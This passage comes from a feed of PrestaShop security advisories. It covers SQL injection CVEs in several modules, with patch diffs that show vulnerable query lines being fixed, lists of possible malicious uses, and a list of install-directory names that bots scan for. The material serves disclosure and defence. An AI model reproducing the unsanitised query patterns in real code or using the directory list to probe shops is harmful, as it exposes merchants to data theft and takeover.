</span>                    $lang = new Language($id_lang);
</code></pre></div></div>

<p>Do not forget to check the installed override here :</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 4.6.1/override/classes/Translate.php
</span><span class="gi">+++ 4.6.2/override/classes/Translate.php
</span><span class="err">...</span>
                    LEFT JOIN '._DB_PREFIX_.'customer c ON c.id_customer = a.id_customer 
<span class="gd">-                    WHERE id_opartdevis = '.Tools::getValue('id_opartdevis'));
</span><span class="gi">+                    WHERE id_opartdevis = '.(int) Tools::getValue('id_opartdevis'));
</span>                    $lang = new Language($id_lang);
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>opartdevis</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skills because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-11-29</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2022-11-29</td>
      <td>Contact Author to report it but was qualified CVSS 3.1 7.2/10 which is currently ignored</td>
    </tr>
    <tr>
      <td>2023-10-31</td>
      <td><a href="https://www.202-ecommerce.com/">202 ecommerce</a> qualified it critical</td>
    </tr>
    <tr>
      <td>2023-10-31</td>
      <td>Contact Author again to report that it’s a critical issue and to get version scope</td>
    </tr>
    <tr>
      <td>2023-11-08</td>
      <td>Author confirms version scope</td>
    </tr>
    <tr>
      <td>2023-11-14</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-20</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-23</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<p>Opart thanks <a href="https://www.touchweb.fr">TouchWeb</a> and <a href="https://www.202-ecommerce.com/">202 ecommerce</a> for their courtesy and their help after the vulnerability disclosure.</p>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://www.store-opart.fr/p/25-devis.html">Author product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-48188">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Opart&quot;, &quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Opart Devis” (opartdevis) up to version 4.6.12 from Opart for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-46349] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel) Export/Update module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/23/updateproducts.html" rel="alternate" type="text/html" title="[CVE-2023-46349] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel) Export/Update module for PrestaShop" /><published>2023-11-23T00:00:00+00:00</published><updated>2023-11-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/23/updateproducts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/23/updateproducts.html"><![CDATA[<p>In the module “Product Catalog (CSV, Excel) Export/Update” (updateproducts) up to version 3.7.6 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46349">CVE-2023-46349</a></li>
  <li><strong>Published at</strong>: 2023-11-23</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: updateproducts</li>
  <li><strong>Impacted release</strong>: &lt;= 3.7.6 (3.8.5 fixed “all” vulnerabilities known - see Note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">productsUpdateModel::getExportIds()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The file which suffer of the critical problem has been partially rewriten to become an admin controller instead of an ajax script so it’s not longer a critical issue since months (&lt;= 3.7.6), only a high severity issue. Author patch all this high severity issue on the version 3.8.5, it’s why we advice to upgrade to this version.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-376">Patch from 3.7.6</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.7.6/modules/updateproducts/datamodel.php
</span><span class="gi">+++ XXXXX/modules/updateproducts/datamodel.php
</span><span class="err">...</span>
if( $selected_manufacturers ){
      $justProducts = false;
      $selected_manufacturers = implode(",", $selected_manufacturers);
<span class="gd">-     $where .= " AND p.id_manufacturer IN (".pSQL($selected_manufacturers).") ";
</span><span class="gi">+     $where .= " AND p.id_manufacturer IN (".implode(',', array_map('intval', explode(',', $selected_manufacturers))).") ";
</span>    }

    if( $selected_suppliers ){
      $justProducts = false;
      $selected_suppliers = implode(",", $selected_suppliers);
<span class="gd">-     $where .= " AND s.id_supplier IN (".pSQL($selected_suppliers).") ";
</span><span class="gi">+     $where .= " AND s.id_supplier IN (".implode(',', array_map('intval', explode(',', $selected_suppliers))).") ";
</span>    }

    if( $selected_categories ){
      $justProducts = false;
      $selected_categories = implode(",", $selected_categories);
<span class="gd">-     $where .= " AND cp.id_category IN (".pSQL($selected_categories).") ";
</span><span class="gi">+     $where .= " AND cp.id_category IN (".implode(',', array_map('intval', explode(',', $selected_categories))).") ";
</span>    }

    if( $products_check ){
      $products_check = implode(",", $products_check);
      $justProducts = $justProducts ? 'AND' : 'OR';
<span class="gd">-     $where .= " $justProducts p.id_product IN (".pSQL($products_check).") ";
</span><span class="gi">+     $where .= " $justProducts p.id_product IN (".implode(',', array_map('intval', explode(',', $products_check))).") ";
</span>    }
</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>updateproducts</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-06-03</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-06-03</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-06-09</td>
      <td>PrestaShop Addons security Team confirm versions scope by author</td>
    </tr>
    <tr>
      <td>2023-08-28</td>
      <td>Author provide a patch which fix the remaining high severity issue</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-23</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/data-import-export/17611-product-catalog-csv-excel-export-update.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46349">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Product Catalog (CSV, Excel) Export/Update” (updateproducts) up to version 3.7.6 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2023-45377] Improper neutralization of SQL parameter in Chronopost - Chronopost Official module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/21/chronopost.html" rel="alternate" type="text/html" title="[CVE-2023-45377] Improper neutralization of SQL parameter in Chronopost - Chronopost Official module for PrestaShop" /><published>2023-11-21T00:00:00+00:00</published><updated>2023-11-21T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/21/chronopost</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/21/chronopost.html"><![CDATA[<p>In the module “Chronopost Official” (chronopost) up to version 6.4.0 from Chronopost for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45377">CVE-2023-45377</a></li>
  <li><strong>Published at</strong>: 2023-11-21</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: chronopost</li>
  <li><strong>Impacted release</strong>: &lt;= 6.2.1 (6.4.0 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Chronopost Official</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p><em>Foreword : we are forced to tag privilege NONE on the CVSS 3.1 score which make it a critical vulnerability since it will be critical if the module has never been installed OR (if the CHRONOPOST_SECRET configuration do not exist OR is empty), but keep in mind that for the majority of installations, the gravity is reduced to <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H">CVSS 3.1 7.2/10</a></em></p>

<p>The script PHP <code class="language-plaintext highlighter-rouge">cancelSkybill.php</code> own a sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p><strong>WARNING</strong>: Be informed that the partial access control affects other scripts on the module, you should apply “Other Recommendations”</p>

<p>For those who actively listen weak signals, this issue is not connected with <a href="https://github.com/PrestaShopCorp/chronopost/commit/404cc2cd17e602bdd433b085c788c6c0492bf9e3">this very old critical issue</a> which will never have CVE (too old).</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Steal/Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-621">Patch from 6.2.1</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 6.2.1/modules/chronopost/async/cancelSkybill.php
</span><span class="gi">+++ 6.4.0/modules/chronopost/async/cancelSkybill.php
</span><span class="err">...</span>
-if (!Tools::getIsset('shared_secret') || Tools::getValue('shared_secret') != Configuration::get('CHRONOPOST_SECRET')) {
<span class="gi">+if (Tools::isEmpty('shared_secret') || Tools::getValue('shared_secret') !== Configuration::get('CHRONOPOST_SECRET')) {
</span>    die('Secret does not match.');
<span class="err">}</span>
...
<span class="err">$LTRequest</span> = DB::getInstance()-&gt;executeS(
    'SELECT lt, account_number FROM '
<span class="gd">-    . _DB_PREFIX_ . 'chrono_lt_history WHERE id_order = ' . (int)Tools::getValue('id_order') . ' AND `cancelled` IS NULL AND lt = "' . Tools::getValue('skybill') . '"'
</span><span class="gi">+    . _DB_PREFIX_ . 'chrono_lt_history WHERE id_order = ' . (int)Tools::getValue('id_order') . ' AND `cancelled` IS NULL AND lt = "' . pSQL(Tools::getValue('skybill')) . '"'
</span><span class="err">);</span>

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>Since this author always force its customers to use the same password on FTP links, you must if applicable, delete all FTP users which suffer of a predictable name such as “chronopost”</li>
  <li>You should consider restricting the access of modules/chronopost/async/ to a whitelist</li>
  <li>It’s recommended to upgrade to the latest version of the module <strong>chronopost</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-03-15</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-03-15</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-05-05</td>
      <td>Recontact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-06</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-11</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>Recontact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-10-30</td>
      <td>PrestaShop Addons security Team confirms version scope and confirms the official patch</td>
    </tr>
    <tr>
      <td>2023-11-21</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/transporteurs/19561-chronopost-officiel.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-45377">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;TouchWeb.fr&quot;, &quot;202 Ecommerce&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Chronopost Official” (chronopost) up to version 6.4.0 from Chronopost for PrestaShop, a guest can perform SQL injection in affected versions if the module is not installed OR if a secret accessible to administrator is stolen.]]></summary></entry><entry><title type="html">[CVE-2023-46357] Improper neutralization of SQL parameter in MyPrestaModules - Cross Selling in Modal Cart module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/21/motivationsale.html" rel="alternate" type="text/html" title="[CVE-2023-46357] Improper neutralization of SQL parameter in MyPrestaModules - Cross Selling in Modal Cart module for PrestaShop" /><published>2023-11-21T00:00:00+00:00</published><updated>2023-11-21T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/21/motivationsale</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/21/motivationsale.html"><![CDATA[<p>In the module “Cross Selling in Modal Cart” (motivationsale) from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-46357">CVE-2023-46357</a></li>
  <li><strong>Published at</strong>: 2023-11-21</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: motivationsale</li>
  <li><strong>Impacted release</strong>: &lt; 3.5.0 (3.5.0 fixed the vulnerability - see note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">motivationsaleDataModel::getProductsByIds()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author has deleted from its module the files that have been suffering from critical vulnerabilities for months, BUT did not set them to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules, thinking they are safe. However, there is nothing safe about this, since past upgrades did not auto-delete the implicated files. To ensure everyone has a “safe version”, we decided to mark all versions up to 3.5.0 as impacted by this issue.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-323">Patch from 3.2.3</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- 3.2.3/modules/motivationsale/datamodel.php
</span><span class="gi">+++ XXXXX/modules/motivationsale/datamodel.php
</span><span class="err">...</span>
  public static function getProductsByIds($product_ids)
  {
    $sql = '
			SELECT pl.name, p.*, i.id_image, pl.link_rewrite, p.reference
      FROM ' . _DB_PREFIX_ . 'product_lang as pl
      LEFT JOIN ' . _DB_PREFIX_ . 'image as i
      ON i.id_product = pl.id_product AND i.cover=1
      INNER JOIN ' . _DB_PREFIX_ . 'product as p
      ON p.id_product = pl.id_product
      WHERE pl.id_lang = ' . (int)self::$id_lang . '
      AND pl.id_shop = ' . (int)self::$id_shop . '
<span class="gd">-     AND p.id_product IN ('.pSQL($product_ids).')
</span><span class="gi">+     AND p.id_product IN ('.implode(',', array_map('intval', explode(',',$product_ids))).')
</span></code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>motivationsale</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> with a new longer, arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against this set of rules.</li>
</ul>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2023-05-30</td>
      <td>Issue discovered during a code review by <a href="https://www.touchweb.fr">TouchWeb.fr</a></td>
    </tr>
    <tr>
      <td>2023-05-30</td>
      <td>Contact PrestaShop Addons security Team to confirm version scope by author</td>
    </tr>
    <tr>
      <td>2023-06-09</td>
      <td>PrestaShop Addons security Team confirms version scope</td>
    </tr>
    <tr>
      <td>2023-06-14</td>
      <td>Author provide a patch</td>
    </tr>
    <tr>
      <td>2023-10-17</td>
      <td>Request a CVE ID</td>
    </tr>
    <tr>
      <td>2023-10-23</td>
      <td>Received CVE ID</td>
    </tr>
    <tr>
      <td>2023-11-21</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/fr/ventes-croisees-packs-produits/16122-cross-selling-in-modal-cart.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-46357">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Touchweb.fr&quot;, &quot;202 ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Cross Selling in Modal Cart” (motivationsale) from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">Prestashop unremoved install directory risks</title><link href="https://security.friendsofpresta.org/core/2023/11/16/compromised-install-dir.html" rel="alternate" type="text/html" title="Prestashop unremoved install directory risks" /><published>2023-11-16T00:00:00+00:00</published><updated>2023-11-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/core/2023/11/16/compromised-install-dir</id><content type="html" xml:base="https://security.friendsofpresta.org/core/2023/11/16/compromised-install-dir.html"><![CDATA[<p>Prestashop installation directory <strong>must</strong> be deleted after a successful installation.
It should not be renamed, as the remaining directory can contain code that is exploitable if publicly accessible, such as:</p>
<ul>
  <li>tool to sync information in database</li>
  <li>tool to extract db information in xml files</li>
</ul>

<p><img src="/assets/img/install_dir_tool.png" alt="Install dir tool" /></p>

<h2 id="understanding-how-renamed-install-directories-become-vulnerable-to-discovery">Understanding how renamed install directories become vulnerable to discovery</h2>

<p>We have seen scan from bots that try to access several CMS known sensible directories.
The following list is not exhaustive but give an example of directories scanned</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__install
_install
instalold
install.bck
install.back
install123
install.old
install0
install.inc
install_todelete
</code></pre></div></div>

<h2 id="what-should-i-do">What should I do</h2>

<p>Check your Prestashop installation and delete the install directory.
Enable a check on your monitoring platform to detect such directory
or ask your hosting company to detect and notify you if an install directory is detected.</p>

<p>If you have an install directory at the root of your Prestashop installation,
you should search your access log to check if the directory was accessed.</p>]]></content><author><name>[&quot;772424.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="core" /><category term="brute-force" /><summary type="html"><![CDATA[Prestashop installation directory must be deleted after a successful installation. It should not be renamed, as the remaining directory can contain code that is exploitable if publicly accessible, such as: tool to sync information in database tool to extract db information in xml files]]></summary></entry><entry><title type="html">[CVE-2023-45387] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel, XML) Export PRO module for PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/11/16/exportproducts.html" rel="alternate" type="text/html" title="[CVE-2023-45387] Improper neutralization of SQL parameter in MyPrestaModules - Product Catalog (CSV, Excel, XML) Export PRO module for PrestaShop" /><published>2023-11-16T00:00:00+00:00</published><updated>2023-11-16T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/11/16/exportproducts</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/11/16/exportproducts.html"><![CDATA[<p>In the module “Product Catalog (CSV, Excel, XML) Export PRO” (exportproducts) in versions up to 5.0.0 from MyPrestaModules for PrestaShop, a guest can perform SQL injection in affected versions.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-45387">CVE-2023-45387</a></li>
  <li><strong>Published at</strong>: 2023-11-16</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta.org</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: exportproducts</li>
  <li><strong>Impacted release</strong>: &lt;= 5.0.0 (considered to be “truly” fixed on 5.1.0 - see note below)</li>
  <li><strong>Product author</strong>: MyPrestaModules</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">exportProduct::_addDataToDb()</code> has sensitive SQL calls that can be executed with a trivial http call and exploited to forge a SQL injection.</p>

<p>Note : The author has deleted from its module the file that have been suffering from this leak for months, BUT did not set it to be “auto-deleted” during upgrades. Therefore, there are likely merchants out there with older versions who have updated their modules thinking they are safe. However, there is nothing safe about this since past upgrades do not auto-delete the implicated file. To ensure everyone has a “safe version”, we decided to mark all versions up to 5.0.0 as impacted by this issue.</p>

<p><strong>WARNING</strong> : be warned that an old critical vulnerability is consistently being exploited in this module. If you have exportproducts-ajax.php in the root folder, it is strongly recommended to upgrade immediately.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Remove data from the associated PrestaShop</li>
  <li>Copy/paste data from sensitive tables to FRONT to expose tokens and unlock admins’s ajax scripts</li>
  <li>Rewrite SMTP settings to hijack emails</li>
</ul>

<h2 id="patch-from-411">Patch from 4.1.1</h2>

<p>This file has been deleted in newer versions, you should upgrade instead of patch since there is other sensitive problems with these old versions.</p>

